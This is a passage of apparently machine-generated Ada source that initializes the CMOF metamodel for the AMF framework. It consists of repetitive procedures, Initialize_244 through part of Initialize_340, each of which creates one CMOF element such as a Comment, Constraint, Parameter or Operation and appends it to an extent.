Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Opaque_Expression;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_244;
--------------------
-- Initialize_245 --
--------------------
procedure Initialize_245 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Constraint;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_245;
--------------------
-- Initialize_246 --
--------------------
procedure Initialize_246 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Opaque_Expression;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_246;
--------------------
-- Initialize_247 --
--------------------
procedure Initialize_247 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Parameter;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_247;
--------------------
-- Initialize_248 --
--------------------
procedure Initialize_248 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Parameter;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_248;
--------------------
-- Initialize_249 --
--------------------
procedure Initialize_249 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Operation;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_249;
--------------------
-- Initialize_250 --
--------------------
procedure Initialize_250 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_250;
--------------------
-- Initialize_251 --
--------------------
procedure Initialize_251 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Constraint;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_251;
--------------------
-- Initialize_252 --
--------------------
procedure Initialize_252 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Opaque_Expression;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_252;
--------------------
-- Initialize_253 --
--------------------
procedure Initialize_253 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Constraint;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_253;
--------------------
-- Initialize_254 --
--------------------
procedure Initialize_254 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Opaque_Expression;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_254;
--------------------
-- Initialize_255 --
--------------------
procedure Initialize_255 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Parameter;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_255;
--------------------
-- Initialize_256 --
--------------------
procedure Initialize_256 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Parameter;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_256;
--------------------
-- Initialize_257 --
--------------------
procedure Initialize_257 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Operation;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_257;
--------------------
-- Initialize_258 --
--------------------
procedure Initialize_258 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_258;
--------------------
-- Initialize_259 --
--------------------
procedure Initialize_259 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Constraint;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_259;
--------------------
-- Initialize_260 --
--------------------
procedure Initialize_260 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Opaque_Expression;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_260;
--------------------
-- Initialize_261 --
--------------------
procedure Initialize_261 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Parameter;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_261;
--------------------
-- Initialize_262 --
--------------------
procedure Initialize_262 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Parameter;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_262;
--------------------
-- Initialize_263 --
--------------------
procedure Initialize_263 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Operation;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_263;
--------------------
-- Initialize_264 --
--------------------
procedure Initialize_264 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_264;
--------------------
-- Initialize_265 --
--------------------
procedure Initialize_265 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Constraint;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_265;
--------------------
-- Initialize_266 --
--------------------
procedure Initialize_266 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Opaque_Expression;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_266;
--------------------
-- Initialize_267 --
--------------------
procedure Initialize_267 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Parameter;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_267;
--------------------
-- Initialize_268 --
--------------------
procedure Initialize_268 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Parameter;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_268;
--------------------
-- Initialize_269 --
--------------------
procedure Initialize_269 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_269;
--------------------
-- Initialize_270 --
--------------------
procedure Initialize_270 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_270;
--------------------
-- Initialize_271 --
--------------------
procedure Initialize_271 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_271;
--------------------
-- Initialize_272 --
--------------------
procedure Initialize_272 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_272;
--------------------
-- Initialize_273 --
--------------------
procedure Initialize_273 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Constraint;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_273;
--------------------
-- Initialize_274 --
--------------------
procedure Initialize_274 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_274;
--------------------
-- Initialize_275 --
--------------------
procedure Initialize_275 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Opaque_Expression;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_275;
--------------------
-- Initialize_276 --
--------------------
procedure Initialize_276 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Constraint;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_276;
--------------------
-- Initialize_277 --
--------------------
procedure Initialize_277 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_277;
--------------------
-- Initialize_278 --
--------------------
procedure Initialize_278 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Opaque_Expression;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_278;
--------------------
-- Initialize_279 --
--------------------
procedure Initialize_279 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_279;
--------------------
-- Initialize_280 --
--------------------
procedure Initialize_280 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_280;
--------------------
-- Initialize_281 --
--------------------
procedure Initialize_281 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_281;
--------------------
-- Initialize_282 --
--------------------
procedure Initialize_282 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Operation;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_282;
--------------------
-- Initialize_283 --
--------------------
procedure Initialize_283 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_283;
--------------------
-- Initialize_284 --
--------------------
procedure Initialize_284 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Constraint;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_284;
--------------------
-- Initialize_285 --
--------------------
procedure Initialize_285 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Opaque_Expression;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_285;
--------------------
-- Initialize_286 --
--------------------
procedure Initialize_286 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Parameter;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_286;
--------------------
-- Initialize_287 --
--------------------
procedure Initialize_287 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Operation;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_287;
--------------------
-- Initialize_288 --
--------------------
procedure Initialize_288 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_288;
--------------------
-- Initialize_289 --
--------------------
procedure Initialize_289 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Constraint;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_289;
--------------------
-- Initialize_290 --
--------------------
procedure Initialize_290 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Opaque_Expression;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_290;
--------------------
-- Initialize_291 --
--------------------
procedure Initialize_291 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Parameter;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_291;
--------------------
-- Initialize_292 --
--------------------
procedure Initialize_292 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_292;
--------------------
-- Initialize_293 --
--------------------
procedure Initialize_293 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_293;
--------------------
-- Initialize_294 --
--------------------
procedure Initialize_294 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_294;
--------------------
-- Initialize_295 --
--------------------
procedure Initialize_295 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Constraint;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_295;
--------------------
-- Initialize_296 --
--------------------
procedure Initialize_296 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_296;
--------------------
-- Initialize_297 --
--------------------
procedure Initialize_297 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Opaque_Expression;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_297;
--------------------
-- Initialize_298 --
--------------------
procedure Initialize_298 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Constraint;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_298;
--------------------
-- Initialize_299 --
--------------------
procedure Initialize_299 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_299;
--------------------
-- Initialize_300 --
--------------------
procedure Initialize_300 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Opaque_Expression;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_300;
--------------------
-- Initialize_301 --
--------------------
procedure Initialize_301 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_301;
--------------------
-- Initialize_302 --
--------------------
procedure Initialize_302 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_302;
--------------------
-- Initialize_303 --
--------------------
procedure Initialize_303 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_303;
--------------------
-- Initialize_304 --
--------------------
procedure Initialize_304 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_304;
--------------------
-- Initialize_305 --
--------------------
procedure Initialize_305 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Operation;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_305;
--------------------
-- Initialize_306 --
--------------------
procedure Initialize_306 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_306;
--------------------
-- Initialize_307 --
--------------------
procedure Initialize_307 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Constraint;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_307;
--------------------
-- Initialize_308 --
--------------------
procedure Initialize_308 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Opaque_Expression;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_308;
--------------------
-- Initialize_309 --
--------------------
procedure Initialize_309 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Constraint;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_309;
--------------------
-- Initialize_310 --
--------------------
procedure Initialize_310 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Opaque_Expression;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_310;
--------------------
-- Initialize_311 --
--------------------
procedure Initialize_311 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Parameter;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_311;
--------------------
-- Initialize_312 --
--------------------
procedure Initialize_312 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Operation;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_312;
--------------------
-- Initialize_313 --
--------------------
procedure Initialize_313 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_313;
--------------------
-- Initialize_314 --
--------------------
procedure Initialize_314 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Constraint;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_314;
--------------------
-- Initialize_315 --
--------------------
procedure Initialize_315 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Opaque_Expression;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_315;
--------------------
-- Initialize_316 --
--------------------
procedure Initialize_316 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Constraint;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_316;
--------------------
-- Initialize_317 --
--------------------
procedure Initialize_317 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Opaque_Expression;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_317;
--------------------
-- Initialize_318 --
--------------------
procedure Initialize_318 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Parameter;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_318;
--------------------
-- Initialize_319 --
--------------------
procedure Initialize_319 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Parameter;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_319;
--------------------
-- Initialize_320 --
--------------------
procedure Initialize_320 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Operation;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_320;
--------------------
-- Initialize_321 --
--------------------
procedure Initialize_321 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_321;
--------------------
-- Initialize_322 --
--------------------
procedure Initialize_322 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Constraint;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_322;
--------------------
-- Initialize_323 --
--------------------
procedure Initialize_323 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Opaque_Expression;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_323;
--------------------
-- Initialize_324 --
--------------------
procedure Initialize_324 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Constraint;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_324;
--------------------
-- Initialize_325 --
--------------------
procedure Initialize_325 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Opaque_Expression;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_325;
--------------------
-- Initialize_326 --
--------------------
procedure Initialize_326 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Parameter;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_326;
--------------------
-- Initialize_327 --
--------------------
procedure Initialize_327 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Parameter;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_327;
--------------------
-- Initialize_328 --
--------------------
procedure Initialize_328 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Operation;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_328;
--------------------
-- Initialize_329 --
--------------------
procedure Initialize_329 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_329;
--------------------
-- Initialize_330 --
--------------------
procedure Initialize_330 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Constraint;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_330;
--------------------
-- Initialize_331 --
--------------------
procedure Initialize_331 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Opaque_Expression;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_331;
--------------------
-- Initialize_332 --
--------------------
procedure Initialize_332 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Parameter;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_332;
--------------------
-- Initialize_333 --
--------------------
procedure Initialize_333 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Operation;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_333;
--------------------
-- Initialize_334 --
--------------------
procedure Initialize_334 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_334;
--------------------
-- Initialize_335 --
--------------------
procedure Initialize_335 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Constraint;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_335;
--------------------
-- Initialize_336 --
--------------------
procedure Initialize_336 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Opaque_Expression;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_336;
--------------------
-- Initialize_337 --
--------------------
procedure Initialize_337 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Parameter;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_337;
--------------------
-- Initialize_338 --
--------------------
procedure Initialize_338 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_338;
--------------------
-- Initialize_339 --
--------------------
procedure Initialize_339 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Constraint;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_339;
--------------------
-- Initialize_340 --
--------------------
procedure Initialize_340 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
